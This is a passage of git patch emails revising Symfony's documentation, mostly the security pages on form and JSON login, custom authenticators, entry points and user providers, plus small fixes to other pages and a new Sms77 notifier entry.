-#. The user tries to access a resource that is protected;
+#. The user tries to access a resource that is protected (e.g. ``/admin``);
 #. The firewall initiates the authentication process by redirecting the
    user to the login form (``/login``);
 #. The ``/login`` page renders login form via the route and controller created
    in this example;
 #. The user submits the login form to ``/login``;
-#. The security system intercepts the request, checks the user's submitted
-   credentials, authenticates the user if they are correct, and sends the
-   user back to the login form if they are not.
+#. The security system (i.e. the ``form_login`` authenticator) intercepts the
+   request, checks the user's submitted credentials, authenticates the user if
+   they are correct, and sends the user back to the login form if they are not.
 
 .. _form_login-csrf:
 
@@ -940,8 +947,8 @@ JSON Login
 
 Some applications provide an API that is secured using tokens. These
 applications may use an endpoint that provides these tokens based on a
-username and password. The JSON login authenticator helps you create this
-functionality.
+username (or email) and password. The JSON login authenticator helps you create
+this functionality.
 
 Enable the authenticator using the ``json_login`` setting:
 
@@ -957,6 +964,7 @@ Enable the authenticator using the ``json_login`` setting:
                 main:
                     # ...
                     json_login:
+                        # app_login is a route we will create below
                         check_path: api_login
 
     .. code-block:: xml
@@ -1045,7 +1053,7 @@ token (or whatever you need to return) and return the JSON response:
     -     public function index(): Response
     +     public function index(#[CurrentUser] User $user): Response
           {
-    +         $token = ...; // somehow create a token for $user
+    +         $token = ...; // somehow create an API token for $user
     +
               return $this->json([
     -             'message' => 'Welcome to your new controller!',
@@ -1065,12 +1073,14 @@ token (or whatever you need to return) and return the JSON response:
 That's it! To summarize the process:
 
 #. A client (e.g. the front-end) makes a *POST request* with the
-   ``Content-Type: application/json`` header to ``/api/login``:
+   ``Content-Type: application/json`` header to ``/api/login`` with
+   ``username`` (even if your identifier is actually an email) and
+   ``password`` keys:
 
    .. code-block:: json
 
         {
-            "username": "dunglas",
+            "username": "dunglas@example.com",
             "password": "MyPassword"
         }
 #. The security system intercepts the request, checks the user's submitted
@@ -1082,7 +1092,7 @@ That's it! To summarize the process:
    .. code-block:: json
 
         {
-            "user": "dunglas",
+            "user": "dunglas@example.com",
             "token": "45be42..."
         }
 
@@ -2510,21 +2520,23 @@ However, in some cases, this process can cause unexpected authentication problem
 If you're having problems authenticating, it could be that you *are* authenticating
 successfully, but you immediately lose authentication after the first redirect.
 
-In that case, review the serialization logic (e.g. ``SerializableInterface``) if
-you have any, to make sure that all the fields necessary are serialized.
+In that case, review the serialization logic (e.g. ``SerializableInterface``) on
+you user class (if you have any) to make sure that all the fields necessary are
+serialized.
 
 Comparing Users Manually with EquatableInterface
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Or, if you need more control over the "compare users" process, make your User class
 implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
-Then, your ``isEqualTo()`` method will be called when comparing users.
+Then, your ``isEqualTo()`` method will be called when comparing users instead
+of the core logic.
 
 Security Events
 ---------------
 
-During the authentication process, multiple events are dispatched to
-hook into the process or customize the response sent back to the user. You
+During the authentication process, multiple events are dispatched that allow you
+to hook into the process or customize the response sent back to the user. You
 can do this by creating an :doc:`event listener or subscriber </event_dispatcher>`
 for these events.
 
@@ -2542,7 +2554,7 @@ Authentication Events
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationTokenCreatedEvent`
     Dispatched after the passport was validated and the authenticator
-    created the security token. This can be used in advanced use-cases
+    created the security token (and user). This can be used in advanced use-cases
     where you need to modify the created token (e.g. for multi factor
     authentication).
 
@@ -2553,12 +2565,12 @@ Authentication Events
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\LoginSuccessEvent`
     Dispatched after authentication was fully successful. Listeners to this
-    event can modify the response send back to the user.
+    event can modify the response sent back to the user.
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\LoginFailureEvent`
-    Dispatched after an ``AuthenticationException`` was thrown during the
+    Dispatched after an ``AuthenticationException`` was thrown during
     authentication. Listeners to this event can modify the error response
-    send back to the user.
+    sent back to the user.
 
 Other Events
 ~~~~~~~~~~~~
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 1537d76f395..bbbd9ce8e23 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -1,7 +1,7 @@
 How to Write a Custom Authenticator
 ===================================
 
-Symfony comes with :ref:`many autenticators <security-authenticators>` and
+Symfony comes with :ref:`many authenticators <security-authenticators>` and
 third party bundles also implement more complex cases like JWT and oAuth
 2.0. However, sometimes you need to implement a custom authentication
 mechanism that doesn't exists yet or you need to customize one. In such
@@ -146,9 +146,9 @@ into a security
 
 .. tip::
 
-    If you want to customize the login form, you can also extend from the
+    If your custom authenticator is a login form, you can extend from the
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
-    class instead.
+    class instead to make your job easier.
 
 .. _security-passport:
 
@@ -166,7 +166,7 @@ or if "remember me" functionality should be enabled.
 
 The default
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
-requires a user and credentials.
+requires a user and some sort of "credentials" (e.g. a password).
 
 Use the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\UserBadge`
@@ -250,8 +250,7 @@ Self Validating Passport
 If you don't need any credentials to be checked (e.g. when using API
 tokens), you can use the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
-This class only requires a ``UserBadge`` object and optionally `Passport
-Badges`_.
+This class only requires a ``UserBadge`` object and optionally `Passport Badges`_.
 
 Passport Badges
 ---------------
@@ -268,7 +267,7 @@ the following badges are supported:
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge`
     This is used to automatically upgrade the password to a new hash upon
-    successful login. This badge requires the plaintext password and a
+    successful login (if needed). This badge requires the plaintext password and a
     password upgrader (e.g. the user repository). See :ref:`security-password-migration`.
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge`

From 1e49d52bc0f94fb44e2e7eed4c0dc0dd7f175f66 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 11 Oct 2021 13:38:45 -0400
Subject: [PATCH 2580/7107] fixing syntax error

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 59983e91f05..cb3d6c0bc1c 100644
--- a/security.rst
+++ b/security.rst
@@ -354,7 +354,7 @@ can also create your own :ref:`custom user provider <security-custom-user-provid
     for their service ID: ``security.user.provider.concrete.<your-provider-name>``
     (where ``<your-provider-name>`` is the configuration key, e.g.
     ``app_user_provider``). If you only have one user provider, you can autowire
-    it using the :class:`Symfony\Component\Security\Core\User\UserProviderInterface`
+    it using the :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`
     type-hint.
 
 .. _security-encoding-user-password:

From 6b2f6d06996f8859f2ffa94233689606bb8c7a51 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Oct 2021 09:39:33 +0200
Subject: [PATCH 2581/7107] Remove versionadded directive

---
 reference/constraints/CssColor.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index eb04df19b4c..d74179b343d 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -1,9 +1,5 @@
 CssColor
-=========
-
-.. versionadded:: 5.4
-
-    The ``CssColor`` constraint was introduced in Symfony 5.4.
+========
 
 Validates that a value is a valid CSS color. The underlying value is
 casted to a string before being validated.

From 02b39344f114e8861263de62cc7dea163fe4889c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Oct 2021 09:40:18 +0200
Subject: [PATCH 2582/7107] Minor fix

---
 reference/constraints/CssColor.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index eb04df19b4c..8f62ed3e531 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -1,5 +1,5 @@
 CssColor
-=========
+========
 
 .. versionadded:: 5.4
 

From b4b78ebfbf59fe14e4cfe4c838cf98d70af89565 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 12 Oct 2021 13:39:12 +0200
Subject: [PATCH 2583/7107] Fix link to isCsrfTokenValid() for 5.3+

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index def19db4f36..9cb98f95897 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -150,7 +150,7 @@ generate a CSRF token in the template and store it as a hidden form field:
     </form>
 
 Then, get the value of the CSRF token in the controller action and use the
-:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerTrait::isCsrfTokenValid`
+:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::isCsrfTokenValid`
 method to check its validity::
 
     use Symfony\Component\HttpFoundation\Request;

From cc84098a6c492002564ee7281ada0570faf998a2 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 12 Oct 2021 14:56:32 +0200
Subject: [PATCH 2584/7107] Fixes after final review from Javier and Ryan

---
 _build/redirection_map                        |  10 +-
 reference/configuration/security.rst          |  16 +-
 security.rst                                  | 172 ++++++++++--------
 security/custom_authenticator.rst             |  64 +++++--
 ...ple_authenticators.rst => entry_point.rst} |  17 +-
 security/form_login.rst                       |  11 +-
 security/user_providers.rst                   |  17 +-
 7 files changed, 181 insertions(+), 126 deletions(-)
 rename security/{multiple_authenticators.rst => entry_point.rst} (92%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 900bdd611b2..1acae2a1667 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -520,13 +520,15 @@
 /security/named_encoders /security/named_hashers
 /security/experimental_authenticators /security
 /security/user_provider /security/user_providers
-/security/reset_password /security#reset-password
-/security/auth_providers /security#authenticating-users
+/security/reset_password /security/passwords#reset-password
+/security/auth_providers /security#security-authenticators
 /security/form_login /security#form-login
 /security/form_login_setup /security#form-login
 /security/json_login_setup /security#json-login
-/security/named_hashers /security/passwords#TODO
-/security/password_migration /security/passwords#TODO
+/security/named_hashers /security/passwords#named-password-hashers
+/security/password_migration /security/passwords#security-password-migration
 /security/acl https://github.com/symfony/acl-bundle/blob/main/src/Resources/doc/index.rst
 /security/securing_services /security#securing-other-services
 /security/authenticator_manager /security
+/security/multiple_guard_authenticators /security/entry_point
+/security/guard_authentication /security/custom_authenticator
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 87f6fbd8fb7..16ccc63bda5 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -29,7 +29,6 @@ Configuration
 
 * `access_denied_url`_
 * `always_authenticate_before_granting`_
-* `anonymous`_
 * `erase_credentials`_
 * `hide_user_not_found`_
 * `session_fixation_strategy`_
@@ -62,15 +61,6 @@ If ``true``, the user is asked to authenticate before each call to the
 ``isGranted()`` method in services and controllers or ``is_granted()`` from
 templates.
 
-anonymous
-~~~~~~~~~
-
-**type**: ``string`` **default**: ``~``
-
-When set to ``lazy``, Symfony loads the user (and starts the session) only if
-the application actually accesses the ``User`` object (e.g. via a ``is_granted()``
-call in a template or ``isGranted()`` in a controller or service).
-
 erase_credentials
 ~~~~~~~~~~~~~~~~~
 
@@ -116,7 +106,7 @@ access_control
 
 Defines the security protection of the URLs of your application. It's used for
 example to trigger the user authentication when trying to access to the backend
-and to allow anonymous users to the login form page.
+and to allow unauthenticated users to the login form page.
 
 This option is explained in detail in :doc:`/security/access_control`.
 
@@ -478,7 +468,6 @@ The security configuration should be:
 
             firewalls:
                 main:
-                    anonymous: true
                     lazy: true
                     json_login:
                         check_path:    login
@@ -498,7 +487,7 @@ The security configuration should be:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
-                <firewall name="main" anonymous="true" lazy="true">
+                <firewall name="main" lazy="true">
                     <json-login check-path="login"
                         username-path="security.credentials.login"
                         password-path="security.credentials.password"/>
@@ -513,7 +502,6 @@ The security configuration should be:
 
         return static function (SecurityConfig $security) {
             $mainFirewall = $security->firewall('main');
-            $mainFirewall->anonymous();
             $mainFirewall->lazy(true);
             $mainFirewall->jsonLogin()
                 ->checkPath('/login')
diff --git a/security.rst b/security.rst
index cb3d6c0bc1c..3ce7c0e9bcd 100644
--- a/security.rst
+++ b/security.rst
@@ -4,6 +4,7 @@
 Security
 ========
 
+
 Symfony provides many tools to secure your application. Some HTTP-related
 security tools, like :doc:`secure session cookies </session>` and
 :doc:`CSRF protection </security/csrf>` are provided by default. The
@@ -73,6 +74,15 @@ discussed:
     required permissions to perform a specific action or visit a specific
     URL.
 
+.. caution::
+
+    Symfony Security has received major changes in 5.3. This article
+    explains the *new authenticator-based* system (identified by the
+    ``enable_authenticator_manager: true`` config option).
+
+    Refer to the `5.2 version of this documentation`_ if you're still using
+    the legacy security system.
+
 .. _create-user-class:
 .. _a-create-your-user-class:
 
@@ -645,6 +655,8 @@ many other authenticators:
     Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
     community bundle.
 
+.. _security-form-login:
+
 Form Login
 ~~~~~~~~~~
 
@@ -780,7 +792,7 @@ If the user submits an invalid email or password, that authenticator will store
 the error and redirect back to this controller, where we read the error (using
 ``AuthenticationUtils``) so that it can be displayed back to the user.
 
-Finally, create or updaate the template:
+Finally, create or update the template:
 
 .. code-block:: html+twig
 
@@ -851,6 +863,11 @@ To review the whole process:
    request, checks the user's submitted credentials, authenticates the user if
    they are correct, and sends the user back to the login form if they are not.
 
+.. seealso::
+
+    You can customize the responses on a successful or failed login
+    attempt. See :doc:`/security/form_login`.
+
 .. _form_login-csrf:
 
 CSRF Protection in Login Forms
@@ -1051,8 +1068,14 @@ token (or whatever you need to return) and return the JSON response:
       {
           #[Route('/api/login', name: 'api_login')]
     -     public function index(): Response
-    +     public function index(#[CurrentUser] User $user): Response
+    +     public function index(#[CurrentUser] ?User $user): Response
           {
+    +         if (null === $user) {
+    +             return $this->json([
+    +                 'message' => 'missing credentials',
+    +             ], Response::HTTP_UNAUTHENTICATED);
+    +         }
+    +
     +         $token = ...; // somehow create an API token for $user
     +
               return $this->json([
@@ -1764,67 +1787,6 @@ event class:
     Returns a response, if it is already set by a custom listener. Use
     ``setResponse()`` to configure a custom logout response.
 
-.. tip::
-
-    Every Security firewall has its own event dispatcher
-    (``security.event_dispatcher.FIREWALLNAME``). The logout event is
-    dispatched on both the global and firewall dispatcher. You can register
-    on the firewall dispatcher if you want your listener to only be
-    called for a specific firewall. For instance, if you have an ``api``
-    and ``main`` firewall, use this configuration to register only on the
-    logout event in the ``main`` firewall:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/services.yaml
-            services:
-                # ...
-
-                App\EventListener\CustomLogoutSubscriber:
-                    tags:
-                        - name: kernel.event_subscriber
-                          dispatcher: security.event_dispatcher.main
-
-        .. code-block:: xml
-
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <services>
-                    <!-- ... -->
-
-                    <service id="App\EventListener\CustomLogoutSubscriber">
-                        <tag name="kernel.event_subscriber"
-                             dispacher="security.event_dispatcher.main"
-                         />
-                    </service>
-                </services>
-            </container>
-
-        .. code-block:: php
-
-            // config/services.php
-            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-            use App\EventListener\CustomLogoutListener;
-            use App\EventListener\CustomLogoutSubscriber;
-            use Symfony\Component\Security\Http\Event\LogoutEvent;
-
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
-
-                $services->set(CustomLogoutSubscriber::class)
-                    ->tag('kernel.event_subscriber', [
-                        'dispatcher' => 'security.event_dispatcher.main',
-                    ]);
-            };
-
 .. _retrieving-the-user-object:
 
 Fetching the User Object
@@ -2406,10 +2368,6 @@ the login page):
 Granting Anonymous Users Access in a Custom Voter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``NullToken`` class was introduced in Symfony 5.2.
-
 If you're using a :doc:`custom voter </security/voters>`, you can allow
 anonymous users access by checking if there is no user set on the token::
 
@@ -2480,12 +2438,6 @@ like this:
   but stronger. Users who are logged in only because of a "remember me cookie"
   will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
 
-* ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have
-  this - this is useful when defining a list of URLs with no access restriction
-  - some details are in :doc:`/security/access_control`.
-
-* ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute.
-
 * ``IS_REMEMBERED``: *Only* users authenticated using the
   :doc:`remember me functionality </security/remember_me>`, (i.e. a
   remember-me cookie).
@@ -2496,8 +2448,13 @@ like this:
 
 .. versionadded:: 5.1
 
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
+    The ``IS_REMEMBERED`` and ``IS_IMPERSONATOR`` attributes were
+    introduced in Symfony 5.1.
+
+.. deprecated:: 5.3
+
+   The ``IS_ANONYMOUS`` and ``IS_AUTHENTICATED_ANONYMOUSLY`` attributes are
+   deprecated since Symfony 5.3.
 
 .. _user_session_refresh:
 
@@ -2540,6 +2497,67 @@ to hook into the process or customize the response sent back to the user. You
 can do this by creating an :doc:`event listener or subscriber </event_dispatcher>`
 for these events.
 
+.. tip::
+
+    Every Security firewall has its own event dispatcher
+    (``security.event_dispatcher.FIREWALLNAME``). Events are dispatched on
+    both the global and the firewall-specific dispatcher. You can register
+    on the firewall dispatcher if you want your listener to only be
+    called for a specific firewall. For instance, if you have an ``api``
+    and ``main`` firewall, use this configuration to register only on the
+    logout event in the ``main`` firewall:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                # ...
+
+                App\EventListener\CustomLogoutSubscriber:
+                    tags:
+                        - name: kernel.event_subscriber
+                          dispatcher: security.event_dispatcher.main
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <!-- ... -->
+
+                    <service id="App\EventListener\CustomLogoutSubscriber">
+                        <tag name="kernel.event_subscriber"
+                             dispacher="security.event_dispatcher.main"
+                         />
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use App\EventListener\CustomLogoutListener;
+            use App\EventListener\CustomLogoutSubscriber;
+            use Symfony\Component\Security\Http\Event\LogoutEvent;
+
+            return function(ContainerConfigurator $configurator) {
+                $services = $configurator->services();
+
+                $services->set(CustomLogoutSubscriber::class)
+                    ->tag('kernel.event_subscriber', [
+                        'dispatcher' => 'security.event_dispatcher.main',
+                    ]);
+            };
+
 Authentication Events
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -2576,7 +2594,7 @@ Other Events
 ~~~~~~~~~~~~
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
-    Dispatched when a user logs out of your application. See
+    Dispatched just before a user logs out of your application. See
     :ref:`security-logging-out`.
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\TokenDeauthenticatedEvent`
@@ -2640,6 +2658,7 @@ Authentication (Identifying/Logging in the User)
     security/csrf
     security/form_login
     security/custom_authenticator
+    security/entry_point
 
 Authorization (Denying Access)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -2652,6 +2671,7 @@ Authorization (Denying Access)
     security/access_denied_handler
     security/force_https
 
+.. _`5.2 version of this documentation`: https://symfony.com/doc/5.2/security.html
 .. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
 .. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index bbbd9ce8e23..03f5820cec3 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -72,6 +72,12 @@ method that fits most use-cases::
         }
     }
 
+.. tip::
+
+    If your custom authenticator is a login form, you can extend from the
+    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
+    class instead to make your job easier.
+
 The authenticator can be enabled using the ``custom_authenticators`` setting:
 
 .. configuration-block::
@@ -88,10 +94,6 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
                     custom_authenticators:
                         - App\Security\ApiKeyAuthenticator
 
-                    # remember to also configure the entry_point if the
-                    # authenticator implements AuthenticationEntryPointInterface
-                    # entry_point: App\Security\CustomFormLoginAuthenticator
-
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
@@ -107,11 +109,6 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
             <config enable-authenticator-manager="true">
                 <!-- ... -->
 
-                <!-- remember to also configure the entry-point if the
-                     authenticator implements AuthenticatorEntryPointInterface
-                <firewall name="main"
-                    entry-point="App\Security\CustomFormLoginAuthenticator"> -->
-
                 <firewall name="main">
                     <custom-authenticator>App\Security\ApiKeyAuthenticator</custom-authenticator>
                 </firewall>
@@ -130,25 +127,54 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
 
             $security->firewall('main')
                 ->customAuthenticators([ApiKeyAuthenticator::class])
-
-                // remember to also configure the entry_point if the
-                // authenticator implements AuthenticatorEntryPointInterface
-                // ->entryPoint(App\Security\CustomFormLoginAuthenticator::class)
             ;
         };
 
+.. versionadded:: 5.2
+
+    Starting with Symfony 5.2, the custom authenticator is automatically
+    registered as entry point if it implements ``AuthenticationEntryPointInterface``.
+
+    Prior to 5.2, you had to configure the entry point separately using the
+    ``entry_point`` option. Read :doc:`/security/entry_point` for more
+    information.
 
 The ``authenticate()`` method is the most important method of the
 authenticator. Its job is to extract credentials (e.g. username &
 password, or API tokens) from the ``Request`` object and transform these
 into a security
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
-
-.. tip::
-
-    If your custom authenticator is a login form, you can extend from the
-    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
-    class instead to make your job easier.
+See :ref:`security-passport` below for a detailed look into the
+authentication process.
+
+After the authentication process finished, the user is either authenticated
+or there was something wrong (e.g. incorrect password). The authenticator
+can define what happens in these cases:
+
+``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
+    If the user is authenticated, this method is called with the
+    authenticated ``$token``. This method can return a response (e.g.
+    redirect the user to the homepage).
+
+    If ``null`` is returned, the request continues like normal (i.e. the
+    controller matching the login route is called). This is useful for API
+    routes where each route is protected by an API key header.
+
+``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response``
+    If an ``AuthenticationException`` is thrown during authentication, the
+    process fails and this method is called. This method can return a
+    response (e.g. to return a 401 Unauthorized response in API routes).
+
+    If ``null`` is returned, the request continues like normal. This is
+    useful for e.g. login forms, where the login controller is run again
+    with the login errors.
+
+    **Caution**: Never use ``$exception->getMessage()`` for ``AuthenticationException``
+    instances. This message might contain sensitive information that you
+    don't want to expose publicly. Instead, use ``$exception->getMessageKey()``
+    and ``$exception->getMessageData()`` like shown in the full example
+    above. Use :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`
+    if you want to set custom error messages.
 
 .. _security-passport:
 
diff --git a/security/multiple_authenticators.rst b/security/entry_point.rst
similarity index 92%
rename from security/multiple_authenticators.rst
rename to security/entry_point.rst
index 61566e5cd69..daee51493fa 100644
--- a/security/multiple_authenticators.rst
+++ b/security/entry_point.rst
@@ -1,13 +1,14 @@
-How to Use Multiple Authenticators
-==================================
+The Entry Point: Helping Users Start Authentication
+===================================================
 
-Sometimes, one firewall has multiple ways to authenticate (e.g. both a form
-login and a social login). In these cases, it is now required to configure
-the *authentication entry point*.
+When an unauthenticated user tries to access a protected page, Symfony
+gives them a suitable response to let them start authentication (e.g.
+redirect to a login form or show a 401 Unauthorized HTTP response for
+APIs).
 
-The entry point is used to generate a response when the user is not yet
-authenticated but tries to access a page that requires authentication. This
-can be used for instance to redirect the user to the login page.
+However sometimes, one firewall has multiple ways to authenticate (e.g.
+both a form login and a social login). In these cases, it is required to
+configure the *authentication entry point*.
 
 You can configure this using the ``entry_point`` setting:
 
diff --git a/security/form_login.rst b/security/form_login.rst
index 03e7dffe49c..4bace9cf2a8 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -1,10 +1,15 @@
 .. index::
    single: Security; Customizing form login redirect
 
-Using the form_login Authentication Provider
-============================================
+Customizing the Form Login Authenticator Responses
+==================================================
 
-.. TODO
+The form login authenticator creates a login form where users authenticate
+using an identifier (e.g. email address or username) and a password. In
+:ref:`security-form-login` the usage of this authenticator is explained.
+
+This article describes how to customize the responses (success or failure)
+of this authenticator.
 
 Redirecting after Success
 -------------------------
diff --git a/security/user_providers.rst b/security/user_providers.rst
index e5279a9d5f1..5d3be052121 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -1,8 +1,21 @@
 User Providers
 ==============
 
-.. TODO intro paragraph
-   don't forget to mention LDAP user provider (documented in security/ldap)
+User providers (re)load users from a storage (e.g. a database) based on a
+"user identifier" (e.g. the user's email address or username). See
+:ref:`security-user-providers` for more detailed information when a user
+provider is used.
+
+Symfony provides several user providers:
+
+:ref:`Entity User Provider <security-entity-user-provider>`
+    Loads users from a database using :doc:`Doctrine </doctrine>`;
+:ref:`LDAP User Provider <security-ldap-user-provider>`
+    Loads users from a LDAP server;
+:ref:`Memory User Provider <security-memory-user-provider>`
+    Loads users from a configuration file;
+:ref:`Chain User Provider <security-chain-user-provider>`
+    Merges two or more user providers into a new user provider.
 
 .. _security-entity-user-provider:
 

From 292db4598b1ba6773e418c65f8b8ca518ad31525 Mon Sep 17 00:00:00 2001
From: "Mark Fischer, Jr" <flyingfisch@toppagedesign.com>
Date: Tue, 12 Oct 2021 10:09:47 -0400
Subject: [PATCH 2585/7107] Fixed a grammar issue in flex.rst

---
 setup/flex.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/flex.rst b/setup/flex.rst
index ab4a0509a40..d3c1d18db14 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -89,7 +89,7 @@ manual steps:
        $ rm -rf vendor/*
        $ composer install
 
-#. No matter which of the previous steps you followed. At this point, you'll have
+#. Regardless of which of the previous steps you followed, at this point you'll have
    lots of new config files in ``config/``. They contain the default config
    defined by Symfony, so you must check your original files in ``app/config/``
    and make the needed changes in the new files. Flex config doesn't use suffixes

From 6856ec220659e9649c5899aa3df794183af70115 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andr=C3=A9=20Matthies?=
 <12965261+matthiez@users.noreply.github.com>
Date: Wed, 22 Sep 2021 11:25:27 +0200
Subject: [PATCH 2586/7107] [Notifier] Add Sms77 Bridge

---
 notifier.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index e124ec59f5b..8a56a0dc6ed 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -74,6 +74,7 @@ Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@defau
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
+Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
 Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
@@ -100,8 +101,8 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet and FakeSms (logger) integrations
-    were introduced in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet, FakeSms (logger)
+    and Sms77 integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 61b76d333cba9b9630c07dee146d1f023112e3f0 Mon Sep 17 00:00:00 2001
From: Harm van Tilborg <harm@curity.eu>
Date: Wed, 13 Oct 2021 20:15:34 +0200
Subject: [PATCH 2587/7107] Fixed typo in security.rst

---
 security.rst | 2 +-
